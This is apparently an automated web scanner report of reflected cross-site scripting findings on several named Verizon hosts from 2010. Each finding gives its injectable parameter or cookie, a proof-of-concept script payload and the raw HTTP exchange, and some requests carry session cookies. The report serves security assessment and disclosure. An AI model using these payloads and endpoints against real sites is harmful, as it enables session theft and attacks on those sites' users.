Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the container request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 734b4"%3balert(1)//ffdbbd18438 was submitted in the container parameter. This input was echoed as 734b4";alert(1)//ffdbbd18438 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the widget request parameter is copied into the HTML document as plain text between tags. The payload 29aa7<script>alert(1)</script>8172aa984f3 was submitted in the widget parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 377 Date: Mon, 13 Dec 2010 01:24:54 GMT Connection: close Vary: Accept-Encoding
/* could not complete request : System.Exception: No configuration is available for the requested widget (vzNews29aa7<script>alert(1)</script>8172aa984f3). at WidgetHandler.get_Arguments() in d:\WWW\Media.verizon.net\media\Scripts\widget.ashx:line 36 at WidgetHandler.ProcessRequest(HttpContext context) in d:\WWW\Media.verizon.net\media\Scripts\ ...[SNIP]...
1.3. http://products.verizonwireless.com/index.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://products.verizonwireless.com
Path:
/index.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 42efd'-alert(1)-'c7286b8816d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /index.aspx?42efd'-alert(1)-'c7286b8816d=1 HTTP/1.1 Host: products.verizonwireless.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 13 Dec 2010 01:09:29 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: ASP.NET_SessionId=ig45msbtps2or355o0a22nq5; path=/; HttpOnly Content-Length: 54980
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Entertain ...[SNIP]... ireless.com/accessmanager/logout.aspx"); hightlightMenu(1,2); } var loggedInURL = "https://login.verizonwireless.com/amserver/UI/Login"; goto = 'http://products.verizonwireless.com/index.aspx?42efd'-alert(1)-'c7286b8816d=1'; var gnCategory=3; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 1bbfd<script>alert(1)</script>116dd6ba7eb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /images1bbfd<script>alert(1)</script>116dd6ba7eb/vz_uploads/verizon_cr_report_2009-2010.pdf HTTP/1.1 Host: responsibility.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c103b<script>alert(1)</script>f9dc8cf463f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /images/vz_uploadsc103b<script>alert(1)</script>f9dc8cf463f/verizon_cr_report_2009-2010.pdf HTTP/1.1 Host: responsibility.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload ee0a6<script>alert(1)</script>a6111243118 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /images/vz_uploads/verizon_cr_report_2009-2010.pdfee0a6<script>alert(1)</script>a6111243118 HTTP/1.1 Host: responsibility.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 2ffad<script>alert(1)</script>2016db4ecec was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 2d496<script>alert(1)</script>ebafe395bb3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 3e503<script>alert(1)</script>58e4d016679 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload e6e68<script>alert(1)</script>781165d3d32 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c6db3<script>alert(1)</script>3e9ba843229 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload bc7cd<script>alert(1)</script>9cc0e2c7e09 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 87f51<script>alert(1)</script>ec46c429446 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload e0e0e<script>alert(1)</script>f316a71baf4 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5a0ff<script>alert(1)</script>8b53d8f4af8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload e51be<script>alert(1)</script>3aac13647f9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 4d378<script>alert(1)</script>f228caa746e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload a7285<script>alert(1)</script>e97223d42ac was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the phoneID request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload ad5b9%3balert(1)//6143396ea42 was submitted in the phoneID parameter. This input was echoed as ad5b9;alert(1)//6143396ea42 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /b2c/shoppingAssistant?step=custType&item=phoneFirst&phoneID=ad5b9%3balert(1)//6143396ea42 HTTP/1.1 Host: www.verizonwireless.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: STATE=NY; SESSION_VALUE=JB51NFqMgpp2ZT1010c4LkTNwwpcJRpGN165F6W2yKk4m29P1L4R!-1616894924!jagger!5102!-1!1292200684323; CARTVIEW=FALSE; __utmz=96859928.1290217110.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); JSESSIONIDB2C=JB51NFqMgpp2ZT1010c4LkTNwwpcJRpGN165F6W2yKk4m29P1L4R!-1616894924!jagger!5102!-1; TIME_CHECKER=1292200690206; ZIPCODE=10010; GLOBALID=Gz%2FEvEpqLXlWjN0JBQtocFAw%2FxYn5zkIiHwVedAP2GenfEoJGe6sl1Ton8E00phs; NSC_xxx_hwt=c7ef64540000; NSC_xxx_xmt_c2d_mcwt=44ad7f1725de; __utma=96859928.604975816.1290217110.1290217110.1292200678.2; CITY=New York; __utmc=96859928; __utmb=96859928;
Response
HTTP/1.1 200 OK Date: Mon, 13 Dec 2010 01:03:23 GMT Content-Length: 7975 Content-Type: text/html; charset=ISO-8859-1 X-Powered-By: Servlet/2.5 JSP/2.1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html> <head> <title>Shopping Cart</title>
...[SNIP]... <script type="text/javascript"> function continueshopping() {
The value of the target request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 36405'%3balert(1)//078e7b298a0 was submitted in the target parameter. This input was echoed as 36405';alert(1)//078e7b298a0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Content/LearnShop/intermediate.aspx?target=https://36405'%3balert(1)//078e7b298a0 HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 1943 Expires: Mon, 13 Dec 2010 00:47:46 GMT Cache-Control: max-age=0, no-cache, no-store Date: Mon, 13 Dec 2010 00:47:46 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Shop For Ser ...[SNIP]... <script>var url = 'https://36405';alert(1)//078e7b298a0'; document.form1.action=url;document.form1.submit();</script> ...[SNIP]...
1.21. http://www22.verizon.com/ForyourHome/Registration/Reg/OrLogin.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www22.verizon.com
Path:
/ForyourHome/Registration/Reg/OrLogin.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81939"><script>alert(1)</script>6e2801d52eb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ForyourHome/Registration/Reg/OrLogin.aspx?81939"><script>alert(1)</script>6e2801d52eb=1 HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 MyVzServer: GWA07V Content-Type: text/html; charset=utf-8 Content-Length: 47344 Expires: Mon, 13 Dec 2010 01:01:10 GMT Cache-Control: max-age=0, no-cache, no-store Date: Mon, 13 Dec 2010 01:01:10 GMT Connection: close Set-Cookie: RegistrationApp=SessionId=10f523ea-2c91-4b43-b88c-339efadf29f6; domain=.verizon.com; path=/ Set-Cookie: VZGEO=west; domain=.verizon.com; path=/ Set-Cookie: NSC_xxx22_gzi_fsfh_mcw=ffffffff895bc65c45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>Verizon | Sign In</title> <meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR"> <meta ...[SNIP]... <INPUT type="hidden" value="/sso/redirect/redirect.asp?Target=https://www22.verizon.com/ForyourHome/GoFlow/MyVerizon/RegistrationBridge.aspx?FlowRoute=AMFBAU&81939"><script>alert(1)</script>6e2801d52eb=1" name="target"> ...[SNIP]...
The value of the CMP request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 30a22'-alert(1)-'35cda77ca6a was submitted in the CMP parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the _nfpb request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6fab1'-alert(1)-'1b99529095f was submitted in the _nfpb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the _pageLabel request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bb2d9'-alert(1)-'7ad1a23a5ed was submitted in the _pageLabel parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload adbc9'-alert(1)-'c839688eda3 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
var frm = document.formLogin; uid = frm.UserId.value; pass = frm.Password.value;
if ( uid.length = ...[SNIP]... ipt" type="text/javascript">
var pageUrl = 'http://www22.verizon.com:80/Foryourhome/MyAccount/Unprotected/UserManagement/Login/Login.aspx?_nfpb=true&_pageLabel=vzc_help_announcement&id=perksadbc9'-alert(1)-'c839688eda3&CMP=DMC-CVD_ZZ_ZZ_Z_DO_N_X004'; if (pageUrl.indexOf('err=') != -1) { openPopup('User Message(s)', document.all ? 453 : 453, 'PsswdMismatch'); document.getElementById ...[SNIP]...
1.26. http://www22.verizon.com/Foryourhome/MyAccount/Unprotected/UserManagement/Login/Login.aspx [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 87ae7'-alert(1)-'07cbc66b566 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the appname request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 3349a'><script>alert(1)</script>3ccb98b37db was submitted in the appname parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /residentialhelp/globalheaderhelp.aspx?ignoreHelpnet=y&appname=help-net3349a'><script>alert(1)</script>3ccb98b37db HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 265493 Expires: Mon, 13 Dec 2010 01:01:43 GMT Cache-Control: max-age=0, no-cache, no-store Date: Mon, 13 Dec 2010 01:01:43 GMT Connection: close
The value of the keyword request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93361"><script>alert(1)</script>9f84879edcc was submitted in the keyword parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ForYourHome/FTTPRepair/vziha/ihamain.aspx?keyword=WebVoiceMail93361"><script>alert(1)</script>9f84879edcc HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 2407 Expires: Mon, 13 Dec 2010 00:45:23 GMT Cache-Control: max-age=0, no-cache, no-store Date: Mon, 13 Dec 2010 00:45:23 GMT Connection: close
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>VZ In Home Agent</title> <link rel="stylesheet" href="./hnm/css/isupport.css" type="text/css" /> <link rel="stylesheet" h ...[SNIP]... <input type="hidden" name="my1stKeyWord" id="my1stKeyWord" value="WebVoiceMail93361"><script>alert(1)</script>9f84879edcc"/> ...[SNIP]...
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5af67'><script>alert(1)</script>6f3f42e6a75 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/CommonTemplates/Templates/HighSpeedInternet/CheckAvailablity.aspx?NRMODE=Published&NRNODEGUID=%7b495BE2BD-6BF8-4707-9AD0-F5778C99827F%7d&NRORIGINALURL=%2fResidential%2fHighSpeedInternet%2fCheckAvailability%2fCheckAvailability%2ehtm&NRCACHEHINT=ModifyGuest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX5af67'><script>alert(1)</script>6f3f42e6a75; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | High Speed Internet | Check Availability </title><meta name="keywords" content="how to get verizon high speed internet, order verizon high ...[SNIP]... <input type='hidden' id='locationInfo' value='TX5AF67'><SCRIPT>ALERT(1)</SCRIPT>6F3F42E6A75 ' /> ...[SNIP]...
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7d22e'><script>alert(1)</script>ee37c433e93 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/LearnShop/Templates/AboutFiOS/Overview.aspx?NRMODE=Published&NRNODEGUID=%7bF9227CB3-4C5B-4F37-BD11-4F487E059674%7d&NRORIGINALURL=%2fResidential%2faboutFiOS%2fOverview%2ehtm&NRCACHEHINT=ModifyGuest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX7d22e'><script>alert(1)</script>ee37c433e93; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload f320b<script>alert(1)</script>728ba6e3783 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Content/LearnShop/Templates/AboutFiOS/Overview.aspx?NRMODE=Published&NRNODEGUID=%7bF9227CB3-4C5B-4F37-BD11-4F487E059674%7d&NRORIGINALURL=%2fResidential%2faboutFiOS%2fOverview%2ehtm&NRCACHEHINT=ModifyGuest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXf320b<script>alert(1)</script>728ba6e3783; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 3915f<script>alert(1)</script>d024ec56917 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
